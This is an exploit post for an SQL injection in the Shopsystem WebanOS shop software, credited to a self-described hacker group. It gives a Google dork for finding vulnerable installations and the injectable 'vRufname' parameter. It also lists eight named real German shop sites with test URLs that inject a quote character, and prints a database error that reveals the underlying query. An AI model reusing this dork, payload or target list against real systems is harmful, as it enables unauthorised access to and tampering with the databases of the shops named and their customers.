###################################################################
# Exploit Title : Shopsystem WebanOS SQL Injection
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 23/01/2020
# Vendor Homepage : weban.de/shop-system/
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Google Dorks : inurl:/index.php?mode=versand_uebersicht site:de
# Vulnerability Type : CWE-89 [ Improper Neutralization of
Special Elements used in an SQL Command ('SQL Injection') ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
###################################################################
# Impact :
***********
Shopsystem WebanOS is prone to an SQL-injection vulnerability because
it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or
modify data, or exploit latent vulnerabilities in the underlying database.
A remote attacker can send a specially crafted request to the vulnerable application and
execute arbitrary SQL commands in application`s database. Further exploitation of this
vulnerability may result in unauthorized data manipulation.
An attacker can exploit this issue using a browser or with any SQL Injector Tool.
###################################################################
# SQL Injection Exploit :
**********************
/index.php?mode=versand_uebersicht&vLand=[ID-NUMBER]&vRufname=[SQL Injection]
###################################################################
# Example Vulnerable Sites :
*************************
[+] faltradxxs.de/index.php?mode=versand_uebersicht&vLand=871&vRufname=1%27
[+] drborn-liquid.de/index.php?mode=versand_uebersicht&vLand=871&vRufname=1%27
[+] bleckmann-weberei.de/index.php?mode=versand_uebersicht&vLand=871&vRufname=1%27
[+] marine-sales.de/index.php?mode=versand_uebersicht&vLand=871&vRufname=1%27
[+] hazet-freak.de/index.php?mode=versand_uebersicht&vLand=871&vRufname=1%27
[+] genusswelt.de/index.php?mode=versand_uebersicht&vLand=871&vRufname=1%27
[+] delitelia.de/index.php?mode=versand_uebersicht&vLand=871&vRufname=1%27
[+] delta-competent.de/index.php?mode=versand_uebersicht&vLand=871&vRufname=1%27
###################################################################
# Example SQL Database Error :
****************************
1064: You have an error in your SQL syntax; check the manual that corresponds
to your MariaDB server version for the right syntax to use near '= AND status = 4 AND sh' at line 34
SELECT
a.ID,
Father,
kurzbezeichnung as kurz,
langbezeichnung as lang,
beschreibung as beschr,
preis1 as preis,
preis2 as aufschlag,
short_line_1 as rufname,
versand_abschlag,
1 as Versand,
preis_neu1,
preis_neu2,
preis_neu3,
preis_neu4,
Eigenschaft_1,
Eigenschaft_2,
Eigenschaft_3,
Eigenschaft_4,
Eigenschaft_5,
z.name AS z_name
FROM
artikel a
JOIN
zahlungsarten z
ON
a.short_line_1 = z.interner_name
WHERE
Father = -3
AND
Language = 'DE'
AND
Lieferstatus & =
AND
status = 1
AND short_line_1 = '1\'' AND short_line_9 = 0 AND short_line_10 = 0
order by Rang asc
###################################################################
# Discovered By Hacker KingSkrupellos from Cyberizm.Org Digital Security Team
###################################################################